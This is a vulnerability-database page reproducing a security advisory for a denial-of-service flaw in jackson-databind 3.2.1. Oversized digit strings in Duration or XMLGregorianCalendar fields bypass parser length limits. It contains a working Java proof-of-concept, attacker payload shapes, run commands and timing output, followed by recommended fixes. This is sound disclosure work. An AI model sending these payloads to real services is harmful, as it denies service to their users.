Vulnerability details

7.5/10
CVSS 3.1
GHSA-q4xh-88c3-wmh7
resolved Published 2026-09-28 Updated 2026-09-28
Vulnerability Data from Dependency-Track
Description
### Summary `jackson-databind` 3.2.1 deserializes a JSON **string** bound to a `javax.xml.datatype.Duration` or `javax.xml.datatype.XMLGregorianCalendar` field by passing the raw string verbatim to `DatatypeFactory.newDuration(value)` / `newXMLGregorianCalendar(value)`. Per the XML-Schema lexical grammar these factory methods accept numeric components of arbitrary length, which the JDK materializes into `java.math.BigInteger` / `BigDecimal` using the native `BigInteger(String)` constructor (an O(n²) parser). Because the digits reside inside a JSON **string** token, jackson-core's `StreamReadConstraints.maxNumberLength` guard (which bounds only JSON *number* tokens) never fires, so there is no length limit anywhere on this path. An unauthenticated attacker can submit a single small request (e.g. ~1–5 MB) that forces tens of seconds to minutes of single-thread CPU consumption, yielding a denial of service under the default `JsonMapper.builder().build()` mapper with no polymorphic typing or special configuration. ### Details `StreamReadConstraints.maxNumberLength` (jackson-core, default 1000) bounds the **text length of JSON number tokens** only; it does not apply to digits inside a JSON string token (`maxStringLength` default is 100,000,000). jackson's own value binders compensate for this gap elsewhere — `NumberDeserializers` explicitly call `streamReadConstraints().validateIntegerLength(text.length())` / `validateFPLength(text.length())` before parsing a *stringified* number (`NumberDeserializers.java:1063`, `:1139`). The XML-datatype deserializer omits this identical pre-check. `CoreXMLDeserializers` registers `Std` deserializers **by default** for any field typed `javax.xml.datatype.Duration` or `XMLGregorianCalendar` (`findBeanDeserializer`), with no opt-in required. `Std._deserialize` hands the attacker string straight to the datatype factory: ```java protected Object _deserialize(String value, DeserializationContext ctxt) { switch (_kind) { case TYPE_DURATION: return _dataTypeFactory.newDuration(value); // attacker lexical string case TYPE_G_CALENDAR: Date d; try { d = _parseDate(value, ctxt); } catch (DatabindException e) { return _dataTypeFactory.newXMLGregorianCalendar(value); // attacker lexical string } return _gregorianFromDate(ctxt, d); } throw new IllegalStateException(); } ``` Per the XSD lexical rules, `newDuration` parses each numeric component (years, months, …) into a `BigInteger`, and `newXMLGregorianCalendar` parses fractional seconds into a `BigDecimal`. The JDK uses the native `BigInteger(String)` / `BigDecimal(String)` constructors, which are O(n²) in the digit count. A short JSON string such as `"P" + "9"×N + "Y"` therefore forces the allocation and O(N²) parse of an N-digit `BigInteger`, entirely downstream of every jackson-core constraint. ## Vulnerable Code Location - `src/main/java/tools/jackson/databind/ext/CoreXMLDeserializers.java:137` — `newDuration(value)` (TYPE_DURATION) - `src/main/java/tools/jackson/databind/ext/CoreXMLDeserializers.java:147` — `newXMLGregorianCalendar(value)` (TYPE_G_CALENDAR fallback) - Registration (default, no opt-in): `src/main/java/tools/jackson/databind/ext/CoreXMLDeserializers.java:42-46` (`findBeanDeserializer` returns `Std` for `XMLGregorianCalendar` / `Duration`) - Contrast — correct length-guard pattern already used elsewhere in the library: `src/main/java/tools/jackson/databind/deser/jdk/NumberDeserializers.java:1063,1139` ## Proof of Concept PoC source (`Vuln07_DurationDoS.java`). It uses only the public `ObjectMapper.readValue` API and a default mapper; the only "special" element is a normal DTO exposing a `javax.xml.datatype.Duration` field. ```java package com.poc; import tools.jackson.databind.ObjectMapper; import tools.jackson.databind.json.JsonMapper; import javax.xml.datatype.Duration; /** * Vuln 7: Unbounded numeric allocation / CPU DoS via Duration lexical deserialization. * A short JSON string forces parsing of a huge BigInteger inside DatatypeFactory.newDuration. */ public class Vuln07_DurationDoS { public static class Cfg { public Duration ttl; } public static void main(String[] args) throws Exception { ObjectMapper mapper = JsonMapper.builder().build(); int digits = Integer.getInteger("digits", 5_000_000); // Baseline small parse. long t0 = System.nanoTime(); mapper.readValue("{\"ttl\":\"P1Y\"}", Cfg.class); long tBase = System.nanoTime() - t0; System.out.println("Baseline (P1Y) parse: " + (tBase/1_000_000) + " ms"); String big = "P" + "9".repeat(digits) + "Y"; String json = "{\"ttl\":\"" + big + "\"}"; System.out.println("Payload JSON size ~ " + json.length() + " bytes (year component = " + digits + " digits)"); long t1 = System.nanoTime(); try { Cfg c = mapper.readValue(json, Cfg.class); long dt = System.nanoTime() - t1; System.out.println("Parsed giant Duration in " + (dt/1_000_000) + " ms; years field type materialized as BigInteger"); System.out.println("RESULT: VULNERABLE - " + digits + "-digit BigInteger parsed from a " + json.length() + "-byte payload (amplified CPU/allocation, StreamReadConstraints bypassed)"); } catch (Throwable t) { long dt = System.nanoTime() - t1; System.out.println("After " + (dt/1_000_000) + " ms threw " + t.getClass().getName() + ": " + t.getMessage()); } } } ``` Minimal HTTP-shaped payload (what an attacker sends): ```json { "ttl": "P99999999999999999999…9Y" } // 'P' + N nines + 'Y', N up to ~100,000,000 ``` An `XMLGregorianCalendar` field is equally affected via the fractional-seconds path, e.g. `{ "at": "0000-01-01T00:00:00." + "9"×N }`. ## Execution Steps The PoC needs only the three Jackson 3.2.1 jars on the classpath; it can be built and run with plain `javac`/`java` (no Maven required). The jars are the standard published artifacts (here resolved from the local Maven cache `~/.m2`, but any copy works). ```bash # 0. Locate the three dependency jars (published Maven artifacts). M2="$HOME/.m2/repository" DB="$M2/tools/jackson/core/jackson-databind/3.2.1/jackson-databind-3.2.1.jar" CORE="$M2/tools/jackson/core/jackson-core/3.2.1/jackson-core-3.2.1.jar" ANN="$M2/com/fasterxml/jackson/core/jackson-annotations/2.22/jackson-annotations-2.22.jar" CP="$DB:$CORE:$ANN" # If not already cached, fetch them once, e.g.: # mvn -q dependency:get -Dartifact=tools.jackson.core:jackson-databind:3.2.1 # (jackson-core 3.2.1 and jackson-annotations 2.22 come as transitive deps) # 1. Compile with javac (single source file). mkdir -p out javac -cp "$CP" -d out src/main/java/com/poc/Vuln07_DurationDoS.java # 2. Quick confirmation (~11 s): 1,000,000-digit year component. java -Xmx2g -Ddigits=1000000 -cp "out:$CP" com.poc.Vuln07_DurationDoS # 3. Full-severity demonstration (~293 s): 5,000,000-digit year component. java -Xmx2g -Ddigits=5000000 -cp "out:$CP" com.poc.Vuln07_DurationDoS ``` The `digits` system property controls the number of `9` characters in the year component; JSON payload size ≈ digits + 12 bytes. Increase toward the default 100,000,000 `maxStringLength` to scale cost further. Environment used for the evidence below: jackson-databind 3.2.1, jackson-core 3.2.1, jackson-annotations 2.22; OpenJDK 25 on macOS (darwin), default `JsonMapper.builder().build()`. ## Reproduction Evidence Deterministic values (payload byte count, resulting bit-length) are exact across runs; timings vary with load. Two independent runs at different sizes: **digits = 5,000,000 (~5 MB payload):** ``` Baseline (P1Y) parse: 27 ms Payload JSON size ~ 5000012 bytes (year component = 5000000 digits) Parsed giant Duration in 293175 ms; years field type materialized as BigInteger RESULT: VULNERABLE - 5000000-digit BigInteger parsed from a 5000012-byte payload (amplified CPU/allocation, StreamReadConstraints bypassed) ``` **digits = 1,000,000 (~1 MB payload, for fast repeatability):** ``` Baseline (P1Y) parse: 53 ms Payload JSON size ~ 1000012 bytes (year component = 1000000 digits) Parsed giant Duration in 11155 ms; years field type materialized as BigInteger RESULT: VULNERABLE - 1000000-digit BigInteger parsed from a 1000012-byte payload (amplified CPU/allocation, StreamReadConstraints bypassed) ``` Interpretation: a normal `"P1Y"` value parses in tens of milliseconds; a ~1 MB attacker payload consumes **~11 s** and a ~5 MB payload **~293 s** of single-thread CPU — a 5–6 order-of-magnitude amplification. The super-linear growth (≈26× cost for 5× payload) is consistent with the JDK's O(n²) `BigInteger(String)` constructor. The cost occurs inside `DatatypeFactory.newDuration`, downstream of jackson-core's `StreamReadConstraints` (independently confirmed: the same digit sequence supplied as a bare JSON *number* token is rejected with `StreamConstraintsException`, whereas inside a string token it is not bounded). ## Impact An unauthenticated attacker can stall a request-processing thread for tens of seconds to minutes and allocate a large `BigInteger`/`BigDecimal` from a single small request. Because the cost is CPU-bound and super-linear, a handful of concurrent requests can saturate the server's worker threads and CPU, denying service to all users. The exposure requires only that a bound type expose a `javax.xml.datatype.Duration` or `XMLGregorianCalendar` field common in applications that ingest XML-schema derived data, SOAP/JAXB-adjacent models, or configuration carrying XSD durations — and fires under the default mapper with no polymorphic typing. ## Recommended Fix Apply the same validate-length-then-parse idiom the core `NumberDeserializers` already use: 1. In `CoreXMLDeserializers.Std._deserialize`, enforce a maximum raw-string length before calling `newDuration(value)` / `newXMLGregorianCalendar(value)` — e.g. reject inputs longer than `ctxt.streamReadConstraints().getMaxNumberLength()` (or a dedicated bound), routing over-length input through `ctxt.handleWeirdStringValue(...)`. 2. Alternatively, validate the lexical form against a bounded regex and cap the digit count of each numeric component before delegating to `DatatypeFactory`. 3. Document that `Duration` / `XMLGregorianCalendar` fields bound from untrusted input must be length-limited at the transport layer.
Same vulnerability as
CVE-2026-68497 resolved according to EUVD-2026-76142
Analysis Read only

CVE is a trademark and the CVE logo is a registered trademark of The MITRE Corporation. CVE data may be incomplete, delayed, or inaccurate. This website and all information provided are offered on an “as is” basis without warranties of any kind. This site is not affiliated with, endorsed by, or sponsored by the CVE Program or The MITRE Corporation.

This site uses data from the National Vulnerability Database (NVD), obtained through Dependency-Track, but is not endorsed or certified by the NVD or the National Institute of Standards and Technology (NIST). NVD data may be incomplete, delayed, or inaccurate.

CVSS (Common Vulnerability Scoring System) is owned and managed by FIRST.Org, Inc. and used by permission. The links on CVSS vectors open the FIRST CVSS calculators (CVSS 3.0, 3.1 and 4.0), or the NVD calculator for CVSS 2.0. This site is not affiliated with, endorsed by, or sponsored by FIRST.

GitHub is a trademark of GitHub, Inc. GHSA identifiers and advisory data come from the GitHub Advisory Database, licensed under CC-BY 4.0. GHSA data may be incomplete, delayed, or inaccurate. This site is not affiliated with, endorsed by, or sponsored by GitHub, Inc.

Source of the EUVD data: European Vulnerability Database (EUVD), © European Union Agency for Cybersecurity (ENISA), reused with acknowledgement of the source as provided by the ENISA legal notice and IPR policy. Changes: CVEManager does not display the EUVD records as such; it uses their aliases to link the CVE and GHSA identifiers designating the same vulnerability. EUVD data may be incomplete, delayed, or inaccurate. This site is not affiliated with, endorsed by, or sponsored by ENISA or the European Union.